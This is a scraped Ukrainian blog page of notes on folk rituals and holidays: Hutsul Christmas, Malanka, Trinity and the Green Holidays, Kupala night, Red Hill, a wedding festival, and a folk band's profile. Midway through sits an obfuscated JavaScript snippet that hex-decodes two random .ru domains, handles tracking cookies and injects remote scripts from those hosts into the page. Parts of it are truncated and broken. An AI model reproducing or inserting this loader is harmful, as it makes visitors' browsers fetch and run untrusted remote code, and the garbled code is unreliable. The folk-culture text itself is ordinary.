хочу сюда!
 

Александра

42 года, лев, познакомится с парнем в возрасте 38-47 лет

Заметки с меткой «обряди»

Гуцульське Різдво

Як колись гуцули святкували Різдво? Зимові звичаї та гуляння в Карпатах. Дух обрядів. Кожен гуцул мав колядувати, кожен вертеп складався тільки з чоловіків, гуцули ходили з бартками і дзвіночком в руках, був старійшина - береза, який керував обрядом і колядниками. Гуцули навть у страшний мороз ходили колядувати, господарі їх щедро частували: давали не гроші, а пряники, випічку, цукерки, бублики, коржики, пташки, пампухи та інші прянощі. Як це все було, написав один старий гуцул, читайте: http://spadok.org.ua/zymovi-zvychayi-ta-obryady/k-ne-bulo-by-rizdva-ny-voskresla-by-vesna

Буковинська Маланка - що ми знаємо про неї?

Про Буковинську Маланку говорять дуже часто. А що це? І хто така Маланка? Звичай бавитися на Маланку в деяких регiонах України iз часом забувся. А шкода… Бо кожне село чи навiть куток знали тiльки їм притаманнi способи задобрити Маланку. На щастя, у нас ще досить мiсць, де свято живе i процвiтає. Найкраще збереглося воно на Заходi України. Маланка, або Переберiя, як її тут називають — справжнiй народний карнавал.
Читати далі про Маланку тут: http://spadok.org.ua/zymovi-zvychayi-ta-obryady/pro-bukovynsku-malanku

Дівчина-краса довга коса

Презентація з прем'єрного показу вистави театру теней "Буття" "Дівчина-краса довга коса" в церкві "Неопалима купина" 8.01.2017 року
https://youtu.be/09xPgHnRv8U
  Ще не пізно замовити цю виставу для Ваших діток      
Який театр для дітей кращий


0%, 0 голосов

0%, 0 голосов

0%, 0 голосов

67%, 2 голоса

33%, 1 голос

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

Мистецтво і війна (Як святкували Трійцю)

Зелені свята – дуже давнє народне дохристиянське свято, яке символізує остаточний прихід літа. Це завершення весняного і початок літнього календарного циклу. В основі Зелених свят тисячі років лежали культ рослинності і магія заклинання майбутнього урожаю.

За світоглядом наших предків світ складається з 3 частин: Яв, де ми зараз перебуваємо, Нав, де ми перебуваємо до народження та після смерті і Прав - світ Богів та божих законів. Тому Зелені свята називаються ще й Трійцею. Впродовж багатьох століть традиційною є  давня народна ритуально-обрядова складова Зелених свят.

Деякі тисячолітні традиції і обряди наших пращурів, звичайно, були втрачені і призабуті, деякі були змінені або спрощені, але народна пам’ять все ж таки зберегла бодай елементи і головні атрибути Зелених свят.

Напередодні Зеленої неділі, у суботу, що називалася клечаною, хату, подвір’я та господарські будівлі прикрашали клечанням – зеленими гілками дерев. Гілки встромляли в стріху, на воротах, біля вікон, за ікони. Підлогу або долівку в хаті встеляли запашними травами: осокою, любистком, м’ятою, пижмою, ласкавцями, лепехою.

Як всі інші свята наших пращурів, Зелені свята базувалися на хліборобських традиціях сонячного циклу. Але окрім культу Сонця і культу померлих предків, в основі Зелених свят лежав культ дерева і квітів. Можливо, тисячолітня традиція прикрашати житло на Зелені свята зеленим віттям і була пов’язана з давнім культом і святом дерев.

До останнього століття в Україні окремі дерева вирізнялись від інших особливою шаною до них. Це дуб, ясень, явір, тополя, береза, липа. В окремих місцевостях навіть не можна було ламати гілля з дуба на клечання.

Культ дерева і лісу яскраво відбивався у підготовці до Зелених свят. По клечання до лісу їхав старший родини (у давнину, звичайно, старший роду). Клечання забирали в хату, на обори, стайні, хліви, несли в комори, клуні, на пасіку. На думку наших пращурів, в деревах оселялися душі рідних – померлих дідів-прадідів. Дід-Ладо – добрий дух предків – опікунів роду – разом з гіллям-клечанням приходив до господи.

Між іншим, серби і греки у дні Зелених свят збирали квіти, плели вінки й несли їх додому, а інші народи, як і українці, оздоблювали свої домівки зеленими гілками дерев, які несли з лісу або «священного гаю».

У Зелені свята в деяких місцевостях України були звичаї, пов’язані зі священними деревами. Наприклад, на Лівобережжі був обряд водити тополю. Дівчата вибирали поміж себе дівчину на тополю, прикрашали її намистом, стрічками та квітами, обличчя зав’язували хусткою, руки прив’язували до палиці і так водили по селу з гучними піснями. Кожний господар радо зустрічав процесію і, приймаючи від неї добрі побажання (головним чином, приплоду худобі і гарного врожаю), щедро обдаровував учасників обряду.

На Поліссі побутував близький за значенням обряд Троїцького куста, роль якого теж виконувала дівчина. А ще відома така молодіжна забава, як завивання берези.

Вранці у Зелену неділю дівчата беруть харчі, закликаюь хлопців і з піснями-веснянками та гаївками йдуть у ліс чи в гай. Там грають, співають, хороводять, а потім сідають і разом їдять все, що принесли. Після цього шукають в лісі молоді берізки, що мають тонкі і довгі гілля-пруття – і з того тонкого гілля на самій березі завивають вінки, співаючи відповідних пісень:

По саду ходжу, виноград саджу
Посадивши та й поливаю,
Ой поливши та й нащіпаю,
Нащіпавши, віночка зів’ю,
Віночка звивши, на воду пущу:
Хто вінка пійме, той мене візьме…


Хлопці можуть допомагати – кожний своїй дівчині – завити вінок на березі.

Ой, зав’ю вінки та на всі святки,
Ой на всі святки, на всі празники…
На всі святочки, на годовії і на роковії…


Звивши вінок на живій березі, хлопці їх обережно відламують і доручають дівчатам. А дівчата забирають додому і пізнім вечором йдуть до води і пускають їх на воду, як на Купала, споглядаючи, чи швидко пливуть, чи не підуть під воду, чи з’єднається з іншим вінком, на який загадала дівчина, чи не пристане до берега, тощо.
 
Сьогодні 19 червня на радіо Культура о 19 годині відбулася радіопередача Василя Лютого про звичаї обряди Зелених свят або Трійці.

Прослухати можна тут: http://radiokultura.org/page/15.html?name=Arhiv



Головні атрибути Зелених свят



13%, 1 голос

0%, 0 голосов

13%, 1 голос

63%, 5 голосов

0%, 0 голосов

0%, 0 голосов

0%, 0 голосов

0%, 0 голосов

13%, 1 голос
Авторизируйтесь, чтобы проголосовать.

Василі розповідають як українцям святкувати Новоліття

В гостях у Василя Лютого на радіо Культура
http://schedule.nrcu.gov.ua/grid/channel/period/item-listen-popup.html?periodItemID=1123156





Походження ім'я Василь 


83%, 5 голосов

0%, 0 голосов

17%, 1 голос

0%, 0 голосов

0%, 0 голосов

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

Покарання любов'ю

Существует множество жестоких способов наказания в разных культурах. А в южно–африканском племени «Бабемба» традиционно используют немного другой способ. Когда кто–то ведет себя безответственно или несправедливо, все племя от мала до велика бросает свои дела и окружает провинившегося. И тогда каждый член племени по–очереди говорит о хороших вещах, которые сделал человек в центре круга за свою жизнь, во всех красках и деталях. …. Так может продолжаться несколько дней. По окончании круг размыкается, и племя принимает назад в свои объятия обновленного человека.

День народження. Ювілей. Свято.


Гурт Буття відомий в Україні
та за її межами, учаcник практично всіх
чільних фестивалів в Україні: Країна
Мрій, Шешори, Трипільське Коло,
Етноеволюція, Рожаниця, Ростоки,
Тайстра-чугайстра, Покрова, Орелі,
Родовід, Світовид, Київська Русь, Поліське
весілля, Купальський вінок, Парк Київська
Русь, Кобзарська трійця, Козацька ліра,
Козацькі звитяги, Перунів полк,
Жнива;Фестиваль здорового
покоління;Вакула-фест;Національний
фестиваль гончарства;Трипільські зорі;
Мистецьке коло;ЕтноФест; Древофест; З
країни в Україну; учасник закордонних
фестивалів: Skamba Skamba Kankliai (Литва), Viljandi
(Естонія), Mykolajki Folkowe, Українська Маланка,
Literacko-Muzyczne Konfrontacje (Польща), Етноград,
Томський Етнофорум (Росія).

ХІІ Всеукраїнський фестиваль«Червона рута – 2011» Лауреат І премії в
жанрі українського автентичного
фольклору за напрямком гуртова
інструментальна музика
Нагороджений дипломами,грамотами, подяками в тому числі Дипломом
Міністерства культури за участь у
міжнародній програмі «Мистецький
олімп», Дипломом учасника проекту
«Обличчя України. Імена. Портрети, Долі»,
Дипломом Верховної Ради України за
значний внесок у розвиток культури,
Дипломом Національної Академії наук
України за участь у проекті «Золотий
фонд нації».

Колектив створено у 2000 роціСклад колективу: 15 чоловік
(інструменталісти, співаки, танцюристи,
майстри, організатори дійств)Репертуар: автентичний
фольклор
троїста музика (дві скрипки,
фідель, бас, цимбали, сопілка, зозулиця,
окарина, бухало,бубен, ріг);
акапельний багатоголосий
спів (чоловіча і жіноча група);
танці, танки, ігри, забави;
обряди різдвяно-новорічні,
великодні, купальські, весільні тощо;
майстер-класи: танцю, співу,
гри на інструментах, плетіння віночків,
вив’язування хусток, обрядового печива
(караваї, дивні, шишки, жайворонки,
покровки, миколайчики тощо), ткацтво
(крайок, шнурів тощо), бісероплетіння,
виготовлення ляльок-мотанок, плетіння
Дідуха тощо.
Творчість гурту зафіксованау 14-ти дисках, в яких представлено
різноманітні жанри і течії автентичної
музики України.Гурт часто виступає по
радіо, телебаченню, знімається в кіно.
Керівники: Бут Олег Васильович– магістр мистецтвознавства;
Бут Оксана Василівна – кандидат
мистецтвознавства.
Буття виконує інструментальнумузику з усіх куточків України із
збереженням стилістики виконання й
інструментарію. Спільна гра спонукає
до імпровізації, індивідуального
творчого прояву кожного учасника гурту.
„Троїста музика” центральних та східних
регіонів оживає у натхненній реконструкції
з записів окремих виконавців.

Буття приділяє увагу нетільки реставрації та виконанню, а й
проводить майстер-класи для глядачів,
влаштовує для них вечірки, свята й
весілля у сільському стилі. В селі музика
була нерозривно поєднана з побутом,
танцем, обрядом - а отже являлась
органічною частиною щоденного життя.
Так і в гурті Буття: кожний учасник
володіє декількома інструментами,
проводить майстер-класи і своїм прикладом
надихає глядачів розвивати приховані
таланти. Втім, називати шанувальників
гурту саме „глядачами” й „слухачами”
не зовсім вірно. Своєю діяльністю Буття
стирає такий кордон між артистами й
публікою як сцена. Виступи гурту часто
відбуваються в колі, де всі присутні
танцюють, граються в ігри, стають
безпосередніми учасниками народних
обрядів. Таким чином народна музика
набуває нової актуальності для сучасного
мегаполісу.

Гурт традиційної музикиБуття існує задля продовження української
традиції співу, гри на музичних
інструментах та танцю в умовах сучасного
міста. Родина Бутів, що складає кістяк
ансамблю, має восьмирічний досвід
фольклорних експедицій по теренах
України.

Музика, яку грає гурт, цеавтентика без жодних змін, обробок чи
стилізацій. Нині в репертуарі – понад
сотня танцювальних та ритуальних
награвань, ліричних та календарних
пісень. Ця музика лишається актуальною
і тепер: найчастіше Буття запрошують
грати на вечірках, святах, урочистостях
мешканці сучасного індустріального
мегаполісу. Секрет успіху – в природній
красі живої акустичної музики.


Їхати від м.Арсенальна трол.38 або авт. 24 до кінця (музей великої відчизняної) Приходьте, буде весело!


15 років


window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19802",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

0%, 0 голосов

50%, 6 голосов

0%, 0 голосов

42%, 5 голосов

8%, 1 голос

0%, 0 голосов

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

“Осінь весільна»

13 вересня 2015 року з 13.00 - 17.00 год. у Національному музеї народної архітектури та побуту України відбудеться свято “Осінь весільна». У виконанні фольклорних колективів з Черкащини, Київщини, Вінниччини, Чернігівщини, Рівненщини та Хмельниччини буде показано різноманітні весільні обряди.

 Родзинкою цьогорічного заходу станете театралізована вистава «Сорочинська ярмарка» у виконанні аматорського театру «Колесо». А також давній архаїчний обряд із Полісся «Свіччине весілля» у виконані фольклорного колективу «Льонок».

На експозиції «Середня Наддніпрянщина» будуть показані весільні обряди: сватання, випікання та прикрашання короваю, розплітання коси, приїзду молодого, зустрічі невістки, викупу та покривання молодої, тощо. Тут можна почути обрядові пісні, навчитися весільним танцям та придбати все необхідне до весілля.

А біля Михайлівської церкви  фольклорний гурт з Київщини зустріне молодят, які щойно повінчаються і покажуть обряд зустрічі молодих та їх благословення батьками.

Окрім того на експозиції «Середня Наддніпрянщина» буде організовано виставку-продаж весільного печева (короваї, шишки, верчі, пташки, голуби) тощо. Всіх бажаючих ми пригостимо весільною випічкою привезеною з різних куточків України. Тут також наші відвідувачі матимуть змогу придбати весільну атрибутику виготовлену народними майстрами (весільні рушники, віночки, ікони, прикраси,  весільний народний одяг) тощо. Вас радо навчать виготовити весільну витинанку, ляльку-наречену, розписати весільні птахи та виплести барвінковий вінок. Свято «Осінь весільна» було є і залишається найулюбленішим святом киян та гостей міста серед багатьох заходів, які проводяться в Музеї.

 

Їхати до Музею від станції метро “Виставковий центр” тролейбусом № 11

 та маршрутним таксі №496 від ст. м. Лук’янівська


Купайла, Купальська ніч (Сонцекрес, Соботка)

20/21 червня — Купайла, Купальська ніч (Сонцекрес, Соботка). Шлюбні ритуали, гуляння в лiсi, біля річок, виплітання вінків, спів купальських пісень, стрибання через вогонь, спалювання солом’яного опудала Купайла, потоплення деревця Марени, потоплення палаючого колеса — символу повороту сонця до зими. Збирання цілющих трав, шукання цвіту папороті. Щасливий час для зачаття дітей.





Репортаж з минулорічного свята http://blog.i.ua/search/?type=label&words=84371



Купайла

36%, 4 голоса

18%, 2 голоса

36%, 4 голоса

9%, 1 голос
Авторизируйтесь, чтобы проголосовать.

Червона гірка Антипасха Фомина неділя обряди та звичаї

Свято Червона гірка. Обряди на Червону гірку
Червона гірка Антипасха Фомина неділя обряди та звичаї
Червона гірка - це улюблений в народі , весняний і першу чергу молодіжне свято . З поширенням християнства він був приурочений до першого неділі після Великодня - так званому Фоміну дню. Червона гірка справлялася в першу неділю після паски . Як тільки земля звільнялася від снігу , а це в першу чергу невеликі височини , в народі звані пагорками , відразу розгорталися гуляння молоді , дитячі ігри , хороводи , пісні. З цього і пішла назва таких гірок « Червоними » , що значить красивими!
У слов'янських говірками слово "червоний" вживається у значенні "красивий , квітучий , веселий , втішний " , на відміну від Червоного , червового , яскраво-червоного, багряного кольору. Сама весна і літо іменуються червоними , тому що погода ясна , а природа є у всій красі. Червона гірка - значить красива по місцю розташування і розважальна по іграх. У багатьох місцях гірки або пагорби , на яких збирався народ навесні , називали червоними гірками.
За народним календарем у цей день все дівчата і молоді баби , запасшись їстівними припасами , збиралися на якому-небудь улюбленому місці сільської вулиці і співали пісні -веснянки ( " закликали ", або " загравали " , весну) , водили хороводи і влаштовували різноманітні ігри та пляски .
Червона гірка вважалася дівочим святом , і так як в цей день відбувалися весілля і йшло посилене сватання , то на ігри приходили всі дівчата до єдиної. Вважалося навіть поганою прикметою , якщо який-небудь хлопець чи дівчина просидять на Червону гірку будинку...Читати далі
Страницы:
1
2
предыдущая
следующая